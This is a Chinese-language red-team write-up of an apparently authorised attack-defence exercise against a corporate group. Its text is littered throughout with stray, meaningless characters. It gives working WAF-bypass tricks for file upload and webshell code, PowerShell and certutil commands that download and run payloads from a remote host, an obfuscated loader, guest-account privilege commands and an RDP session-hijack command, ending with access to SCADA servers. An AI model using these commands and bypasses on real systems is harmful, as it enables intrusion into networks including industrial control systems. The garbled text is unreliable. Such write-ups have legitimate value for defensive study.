前言
好久沒寫實(shí)戰(zhàn)文章了该编,過年過的手都麻了迄本,一天不滲透我是渾身難受。正想找?guī)讉€(gè)站泄泄火呢课竣。剛好就接到了領(lǐng)導(dǎo)的任務(wù)嘉赎,需要我去參加某集團(tuán)組織的攻防演練。過程即簡單也曲折于樟,好在成功繞過waf公条,且橫向滲透取得辦公區(qū)運(yùn)維機(jī)權(quán)限,最終取得工控生產(chǎn)區(qū)服務(wù)器權(quán)限迂曲,完成滲透目標(biāo)靶橱,skr~ skr~。
sql注入打點(diǎn)
經(jīng)過前期不斷的信息收集,發(fā)現(xiàn)目標(biāo)下的某辦公系統(tǒng)抓韩,根據(jù)本次規(guī)則,其下屬單位也在攻擊范圍內(nèi)鬓长,且和主目標(biāo)屬于一個(gè)c段谒拴。向裁判溝通,確定了目標(biāo)在演練范圍內(nèi)涉波,直接沖英上。
沒發(fā)現(xiàn)弱口令,各種翻源碼和信息收集啤覆,后來在Js里找到一處未授權(quán)訪問的接口苍日。
經(jīng)測試,這個(gè)接口存在SQL注入窗声,WAF稍微繞一下即可相恃。
跑出來管理后臺口令和密碼,成功登錄管理后臺笨觅。
bypass waf getshell
登錄后發(fā)現(xiàn)存在上傳功能拦耐,通過對上傳點(diǎn)測試發(fā)現(xiàn)存在任意文件上傳,且存在未知waf见剩。
當(dāng)數(shù)據(jù)包中存在非法內(nèi)容時(shí)杀糯,waf會對數(shù)據(jù)包進(jìn)行阻斷。
攔截了非法后綴名
攔截了文件內(nèi)容
繞過硬件waf
開始嘗試?yán)@過waf苍苞,首先對文件后綴名的限制進(jìn)行bypass
嘗試使用修改Content-Type進(jìn)行bypass
修改前:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynyPW4lGbujY0nBEL
在"boundary="和"----"中間插入tab鍵固翰。
修改后:
Content-Type: multipart/form-data; boundary= ----WebKitFormBoundarynyPW4lGbujY0nBEL
成功繞過后綴名檢測。
接下來嘗試對文件內(nèi)容檢測進(jìn)行繞過羹呵。
測試發(fā)現(xiàn)最基礎(chǔ)的輸出hello world 都會被攔截骂际。
<% response.write("hello world") %>
經(jīng)過測試發(fā)現(xiàn)waf對 <% %> 進(jìn)行了匹配,因?yàn)槲也欢?net担巩,于是找之前做.net開發(fā)的大學(xué)同學(xué)看看有沒有解決辦法方援。
經(jīng)過一段時(shí)間的閑聊,問題沒有解決掉涛癌。
沒辦法犯戏,如果無法繞過waf的規(guī)則,只能從waf缺陷上入手了拳话。
根據(jù)以前的經(jīng)驗(yàn)先匪,可以使用垃圾數(shù)據(jù)構(gòu)造一個(gè)大的數(shù)據(jù)包,然后把惡意代碼藏到里面弃衍,由于waf檢測要考慮內(nèi)存占用呀非,帶寬占用等等不可避免的問題,因此有幾率繞過waf檢測。
成功上傳了菜刀馬岸裙。
使用客戶端連接超時(shí)猖败,看來waf還對常見的客戶端流量特征進(jìn)行了查殺。
這里可以使用去除特征的客戶端連接降允,或者使用中轉(zhuǎn)的方式繞過恩闻。
繞過代碼waf
決定重新上傳一個(gè)命令執(zhí)行功能的小馬,新的問題出現(xiàn)了剧董。
返回了報(bào)錯(cuò)幢尚,猜測是因?yàn)樾●R中存在函數(shù)代碼內(nèi)容,觸發(fā)了代碼層waf翅楼。
這里繞了個(gè)彎路尉剩,由于之前的一句話木馬上傳成功了,因此我第一時(shí)間就去翻之前收集的免殺小馬進(jìn)行嘗試毅臊,結(jié)果全部上傳失敗理茎。
懷疑可能是我的小馬免殺能力不夠強(qiáng),于是試了團(tuán)隊(duì)其它成員的木馬褂微,有沒有可以成功功蜓。
最后試了n多個(gè)都不行。
路沒走通宠蚂,因?yàn)闆Q定具體去看看攔截的規(guī)則式撼。
嘗試把之前的小馬分的多段,一段一段的添加測試求厕,尋找攔截的點(diǎn)著隆,經(jīng)過嘗試,發(fā)現(xiàn)waf并沒有做大小寫的判斷呀癣。
也就只說只要把攔截的參數(shù)大小寫改變一下就能bypass美浦。
比如修改Request為RequesT
最終把所有攔截的參數(shù)通過這種方式進(jìn)行bypass。
成功訪問到小馬项栏,getshell成功浦辨。
橫向滲透
目前得到了一個(gè)iis的命令執(zhí)行權(quán)限,為了方便內(nèi)網(wǎng)橫向沼沈,需要上線cs流酬。
首先使用ping命令確定目標(biāo)出網(wǎng)情況。
可以嘗試執(zhí)行powershell命令直接上線cs
powershell.exe IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/x'))
也可以使用證書下載嘗試下載木馬到服務(wù)器執(zhí)行列另。
certutil.exe -urlcache -split -f http://x.x.x.x/x.exe D:\x.exe
存在殺軟的情況需要對powershell命令或exe進(jìn)行免殺處理芽腾,這里不再詳細(xì)展開。(可關(guān)注Tide免殺系列文章)
這里利用免殺powershell命令讓cs成功上線页衙,并且利用爛土豆插件成功提權(quán)至system權(quán)限摊滔。(可關(guān)注明湖論劍《cs木馬免殺技巧分享》的PPT)
Powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('h‘+’ttp://x.x.x.x/a')
發(fā)現(xiàn)目標(biāo)為server2012服務(wù)器阴绢,無法讀取明文密碼,因此選擇激活guest用戶艰躺。
net user guest /active:yes
net user guest tide@123456
net localgroup administrators guest /add
搭建socks5隧道(nps呻袭,frp)
登錄guest用戶,使用rdp劫持登錄administrator腺兴。
query user
sc create tide binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4" #1為目標(biāo)會話id和當(dāng)前會話名
net start tide
成功登錄后通過在本機(jī)進(jìn)行信息收集棒妨,發(fā)現(xiàn)遠(yuǎn)程連接的憑證信息,其它服務(wù)數(shù)據(jù)庫密碼等等信息含长。
利用收集到的信息進(jìn)行不斷的橫向移動。
收集了一堆弱口令伏穆,拿下了若干服務(wù)器后拘泞,沒發(fā)現(xiàn)過多敏感東西昔榴,都是一些亂七八糟的web應(yīng)用歉糜。
功夫不負(fù)有心人,內(nèi)網(wǎng)里繞了N圈莫绣,最終發(fā)現(xiàn)某臺服務(wù)器上居然奇葩的保存了一臺win7電腦的遠(yuǎn)程連接憑證烟瞧。
進(jìn)入運(yùn)維區(qū)
win7系統(tǒng)一般為個(gè)人辦公用诗鸭,登錄后果然是辦公區(qū)個(gè)人pc電腦,眉頭一皺,這事果然不簡單参滴。
經(jīng)過判斷應(yīng)該是運(yùn)維人員的辦公PC强岸,發(fā)財(cái)了發(fā)財(cái)了。
花費(fèi)了大量時(shí)間在本機(jī)進(jìn)行信息收集砾赔,找到了內(nèi)網(wǎng)導(dǎo)航站蝌箍,大概清楚了其內(nèi)網(wǎng)網(wǎng)絡(luò)的劃分結(jié)構(gòu)。
通過查找運(yùn)維郵箱暴心,發(fā)現(xiàn)了一個(gè)機(jī)房密碼本文件妓盲。獲得了大量機(jī)房服務(wù)器密碼本,以及一些重要業(yè)務(wù)系統(tǒng)的管理員密碼专普。
保存了大量重要服務(wù)器的密碼悯衬。
進(jìn)入工控生產(chǎn)區(qū)
通過網(wǎng)絡(luò)測試,該運(yùn)維機(jī)居然可直通工控生產(chǎn)區(qū)檀夹,密碼本保存的密碼大部分仍有效筋粗,可直接登錄SCADA服務(wù)器。
成功登錄击胜,進(jìn)入到了核心生產(chǎn)內(nèi)網(wǎng)亏狰,點(diǎn)到為止,至此本次滲透結(jié)束偶摔。
總結(jié)
本次滲透暇唾,大量的時(shí)間花費(fèi)在了bypass waf和內(nèi)網(wǎng)信息收集上,最終通過搜集到的機(jī)房服務(wù)器密碼本,讓本次滲透直接取得了工控區(qū)權(quán)限策州,可謂是非常"簡單"瘸味。